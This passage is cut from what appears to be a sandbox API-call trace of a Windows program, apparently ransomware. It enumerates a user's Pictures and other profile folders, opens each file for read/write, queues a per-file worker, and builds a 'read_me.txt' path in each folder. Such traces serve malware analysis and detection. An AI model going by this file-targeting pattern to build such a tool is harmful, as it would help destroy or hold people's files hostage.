ftLastWriteTime.dwLowDateTime=0x9290ffa0, ftLastWriteTime.dwHighDateTime=0x1d4d42d, nFileSizeHigh=0x0, nFileSizeLow=0x7eca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pVdLxVOLi5A2DxVX3S.bmp", cAlternateFileName="PVDLXV~1.BMP")) returned 1 [0078.797] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\pVdLxVOLi5A2DxVX3S.bmp") returned 65 [0078.797] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\pVdLxVOLi5A2DxVX3S.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pvdlxvoli5a2dxvx3s.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa08 [0078.797] QueueUserWorkItem (Function=0x404e00, Context=0xa08, Flags=0x0) returned 1 [0078.797] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f883c30, ftCreationTime.dwHighDateTime=0x1d4cc54, ftLastAccessTime.dwLowDateTime=0x766715e0, ftLastAccessTime.dwHighDateTime=0x1d4cea5, ftLastWriteTime.dwLowDateTime=0x766715e0, ftLastWriteTime.dwHighDateTime=0x1d4cea5, nFileSizeHigh=0x0, nFileSizeLow=0x183c9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qBvEfvjQiA--n8.png", cAlternateFileName="QBVEFV~1.PNG")) returned 1 [0078.797] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qBvEfvjQiA--n8.png") returned 61 [0078.797] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qBvEfvjQiA--n8.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qbvefvjqia--n8.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0c [0078.798] QueueUserWorkItem (Function=0x404e00, Context=0xa0c, Flags=0x0) returned 1 [0078.798] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf928ae0, ftCreationTime.dwHighDateTime=0x1d4d2ba, ftLastAccessTime.dwLowDateTime=0xe11d99f0, ftLastAccessTime.dwHighDateTime=0x1d4d476, ftLastWriteTime.dwLowDateTime=0xe11d99f0, ftLastWriteTime.dwHighDateTime=0x1d4d476, nFileSizeHigh=0x0, nFileSizeLow=0x78c9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qcOxQmmiJ3CBDWSX2Eq9.jpg", cAlternateFileName="QCOXQM~1.JPG")) returned 1 [0078.798] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qcOxQmmiJ3CBDWSX2Eq9.jpg") returned 67 [0078.798] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qcOxQmmiJ3CBDWSX2Eq9.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qcoxqmmij3cbdwsx2eq9.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa10 [0078.798] QueueUserWorkItem (Function=0x404e00, Context=0xa10, Flags=0x0) returned 1 [0078.798] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a0b3d0, ftCreationTime.dwHighDateTime=0x1d4ce82, ftLastAccessTime.dwLowDateTime=0x5e2f9be0, ftLastAccessTime.dwHighDateTime=0x1d4cf87, ftLastWriteTime.dwLowDateTime=0x5e2f9be0, ftLastWriteTime.dwHighDateTime=0x1d4cf87, nFileSizeHigh=0x0, nFileSizeLow=0x13258, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QQf_P.bmp", cAlternateFileName="")) returned 1 [0078.798] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QQf_P.bmp") returned 52 [0078.798] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QQf_P.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qqf_p.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa14 [0078.798] QueueUserWorkItem (Function=0x404e00, Context=0xa14, Flags=0x0) returned 1 [0078.798] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aa680b0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa8e210, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.798] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\read_me.txt") returned 54 [0078.798] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa18 [0078.799] QueueUserWorkItem (Function=0x404e00, Context=0xa18, Flags=0x0) returned 1 [0078.799] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5977e6d0, ftCreationTime.dwHighDateTime=0x1d4cef0, ftLastAccessTime.dwLowDateTime=0x6a25490, ftLastAccessTime.dwHighDateTime=0x1d4ca3b, ftLastWriteTime.dwLowDateTime=0x6a25490, ftLastWriteTime.dwHighDateTime=0x1d4ca3b, nFileSizeHigh=0x0, nFileSizeLow=0x9301, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sSDvJNVC yyVH3Iug.bmp", cAlternateFileName="SSDVJN~1.BMP")) returned 1 [0078.799] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sSDvJNVC yyVH3Iug.bmp") returned 64 [0078.799] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sSDvJNVC yyVH3Iug.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ssdvjnvc yyvh3iug.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa1c [0078.799] QueueUserWorkItem (Function=0x404e00, Context=0xa1c, Flags=0x0) returned 1 [0078.799] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4892c390, ftCreationTime.dwHighDateTime=0x1d4cdf0, ftLastAccessTime.dwLowDateTime=0x2417cb40, ftLastAccessTime.dwHighDateTime=0x1d4c72a, ftLastWriteTime.dwLowDateTime=0x2417cb40, ftLastWriteTime.dwHighDateTime=0x1d4c72a, nFileSizeHigh=0x0, nFileSizeLow=0x10fa6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tO1jh3PvSMB7.bmp", cAlternateFileName="TO1JH3~1.BMP")) returned 1 [0078.799] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tO1jh3PvSMB7.bmp") returned 59 [0078.799] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tO1jh3PvSMB7.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\to1jh3pvsmb7.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa20 [0078.799] QueueUserWorkItem (Function=0x404e00, Context=0xa20, Flags=0x0) returned 1 [0078.799] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7d10d0, ftCreationTime.dwHighDateTime=0x1d4d32d, ftLastAccessTime.dwLowDateTime=0x535826b0, ftLastAccessTime.dwHighDateTime=0x1d4c5dc, ftLastWriteTime.dwLowDateTime=0x535826b0, ftLastWriteTime.dwHighDateTime=0x1d4c5dc, nFileSizeHigh=0x0, nFileSizeLow=0x81c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VfpmNtpxK.jpg", cAlternateFileName="VFPMNT~1.JPG")) returned 1 [0078.799] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VfpmNtpxK.jpg") returned 56 [0078.799] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VfpmNtpxK.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vfpmntpxk.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa24 [0078.799] QueueUserWorkItem (Function=0x404e00, Context=0xa24, Flags=0x0) returned 1 [0078.799] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23891a10, ftCreationTime.dwHighDateTime=0x1d4cbaf, ftLastAccessTime.dwLowDateTime=0x5b489fc0, ftLastAccessTime.dwHighDateTime=0x1d4cb2d, ftLastWriteTime.dwLowDateTime=0x5b489fc0, ftLastWriteTime.dwHighDateTime=0x1d4cb2d, nFileSizeHigh=0x0, nFileSizeLow=0x16540, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vV0hwJeifWGq_N.jpg", cAlternateFileName="VV0HWJ~1.JPG")) returned 1 [0078.799] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\vV0hwJeifWGq_N.jpg") returned 61 [0078.799] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\vV0hwJeifWGq_N.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vv0hwjeifwgq_n.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa28 [0078.799] QueueUserWorkItem (Function=0x404e00, Context=0xa28, Flags=0x0) returned 1 [0078.799] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6c54780, ftCreationTime.dwHighDateTime=0x1d4c6f4, ftLastAccessTime.dwLowDateTime=0xe0872ef0, ftLastAccessTime.dwHighDateTime=0x1d4c794, ftLastWriteTime.dwLowDateTime=0xe0872ef0, ftLastWriteTime.dwHighDateTime=0x1d4c794, nFileSizeHigh=0x0, nFileSizeLow=0xae32, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wLeJkECmPci.png", cAlternateFileName="WLEJKE~1.PNG")) returned 1 [0078.799] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wLeJkECmPci.png") returned 58 [0078.799] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wLeJkECmPci.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wlejkecmpci.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa2c [0078.800] QueueUserWorkItem (Function=0x404e00, Context=0xa2c, Flags=0x0) returned 1 [0078.800] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf31c1650, ftCreationTime.dwHighDateTime=0x1d4cfed, ftLastAccessTime.dwLowDateTime=0xd50d8e80, ftLastAccessTime.dwHighDateTime=0x1d4d3af, ftLastWriteTime.dwLowDateTime=0xd50d8e80, ftLastWriteTime.dwHighDateTime=0x1d4d3af, nFileSizeHigh=0x0, nFileSizeLow=0x12431, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZlypI727h.jpg", cAlternateFileName="ZLYPI7~1.JPG")) returned 1 [0078.800] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZlypI727h.jpg") returned 56 [0078.800] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZlypI727h.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zlypi727h.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa30 [0078.800] QueueUserWorkItem (Function=0x404e00, Context=0xa30, Flags=0x0) returned 1 [0078.800] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa134240, ftCreationTime.dwHighDateTime=0x1d4d42e, ftLastAccessTime.dwLowDateTime=0x85ac3230, ftLastAccessTime.dwHighDateTime=0x1d4cffc, ftLastWriteTime.dwLowDateTime=0x85ac3230, ftLastWriteTime.dwHighDateTime=0x1d4cffc, nFileSizeHigh=0x0, nFileSizeLow=0x10687, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZXpg14A38.jpg", cAlternateFileName="ZXPG14~1.JPG")) returned 1 [0078.800] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZXpg14A38.jpg") returned 56 [0078.800] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZXpg14A38.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zxpg14a38.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa34 [0078.800] QueueUserWorkItem (Function=0x404e00, Context=0xa34, Flags=0x0) returned 1 [0078.800] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6b35a0, ftCreationTime.dwHighDateTime=0x1d4c5af, ftLastAccessTime.dwLowDateTime=0x6dcc6880, ftLastAccessTime.dwHighDateTime=0x1d4c7f3, ftLastWriteTime.dwLowDateTime=0x6dcc6880, ftLastWriteTime.dwHighDateTime=0x1d4c7f3, nFileSizeHigh=0x0, nFileSizeLow=0x16fda, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z_-Z -d0940Zqk.jpg", cAlternateFileName="Z_-Z-D~1.JPG")) returned 1 [0078.800] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Z_-Z -d0940Zqk.jpg") returned 61 [0078.800] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Z_-Z -d0940Zqk.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\z_-z -d0940zqk.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa38 [0078.800] QueueUserWorkItem (Function=0x404e00, Context=0xa38, Flags=0x0) returned 1 [0078.800] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecfb1a0, ftCreationTime.dwHighDateTime=0x1d4d31e, ftLastAccessTime.dwLowDateTime=0xb98e50e0, ftLastAccessTime.dwHighDateTime=0x1d4c7ca, ftLastWriteTime.dwLowDateTime=0xb98e50e0, ftLastWriteTime.dwHighDateTime=0x1d4c7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_OAVIhPz3aVf6TJ.jpg", cAlternateFileName="_OAVIH~1.JPG")) returned 1 [0078.800] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_OAVIhPz3aVf6TJ.jpg") returned 62 [0078.800] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_OAVIhPz3aVf6TJ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_oavihpz3avf6tj.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa3c [0078.800] QueueUserWorkItem (Function=0x404e00, Context=0xa3c, Flags=0x0) returned 1 [0078.800] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecfb1a0, ftCreationTime.dwHighDateTime=0x1d4d31e, ftLastAccessTime.dwLowDateTime=0xb98e50e0, ftLastAccessTime.dwHighDateTime=0x1d4c7ca, ftLastWriteTime.dwLowDateTime=0xb98e50e0, ftLastWriteTime.dwHighDateTime=0x1d4c7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_oavihpz3avf6tj.jpg", cAlternateFileName="_OAVIH~1.JPG")) returned 0 [0078.801] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0078.801] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\read_me.txt") returned 54 [0078.801] GetProcessHeap () returned 0x540000 [0078.801] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4312140 | out: hHeap=0x540000) returned 1 [0078.801] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 66 [0078.801] GetProcessHeap () returned 0x540000 [0078.801] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4380068 | out: hHeap=0x540000) returned 1 [0078.801] GetProcessHeap () returned 0x540000 [0078.801] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0078.801] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*") returned 45 [0078.801] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecfb1a0, ftCreationTime.dwHighDateTime=0x1d4d31e, ftLastAccessTime.dwLowDateTime=0xb98e50e0, ftLastAccessTime.dwHighDateTime=0x1d4c7ca, ftLastWriteTime.dwLowDateTime=0xb98e50e0, ftLastWriteTime.dwHighDateTime=0x1d4c7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_oavihpz3avf6tj.jpg", cAlternateFileName="")) returned 0xffffffff [0078.801] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\read_me.txt") returned 55 [0078.801] GetProcessHeap () returned 0x540000 [0078.801] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4312140 | out: hHeap=0x540000) returned 1 [0078.801] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 67 [0078.801] GetProcessHeap () returned 0x540000 [0078.801] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4390070 | out: hHeap=0x540000) returned 1 [0078.801] GetProcessHeap () returned 0x540000 [0078.801] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0078.801] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*") returned 42 [0078.801] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecfb1a0, ftCreationTime.dwHighDateTime=0x1d4d31e, ftLastAccessTime.dwLowDateTime=0xb98e50e0, ftLastAccessTime.dwHighDateTime=0x1d4c7ca, ftLastWriteTime.dwLowDateTime=0xb98e50e0, ftLastWriteTime.dwHighDateTime=0x1d4c7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_oavihpz3avf6tj.jpg", cAlternateFileName="")) returned 0xffffffff [0078.801] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\read_me.txt") returned 52 [0078.801] GetProcessHeap () returned 0x540000 [0078.801] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4312140 | out: hHeap=0x540000) returned 1 [0078.801] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 68 [0078.801] GetProcessHeap () returned 0x540000 [0078.801] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x43a0078 | out: hHeap=0x540000) returned 1 [0078.802] GetProcessHeap () returned 0x540000 [0078.802] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0078.802] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*") returned 47 [0078.802] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ad15970, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ad15970, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.802] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\.") returned 47 [0078.802] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ad15970, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ad15970, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.802] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\..") returned 48 [0078.802] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.802] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini") returned 57 [0078.802] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa40 [0078.804] GetProcessHeap () returned 0x540000 [0078.804] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0078.804] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*") returned 44 [0078.804] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ad15970, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ad15970, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.805] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\.") returned 44 [0078.805] FindNextFileW (in: 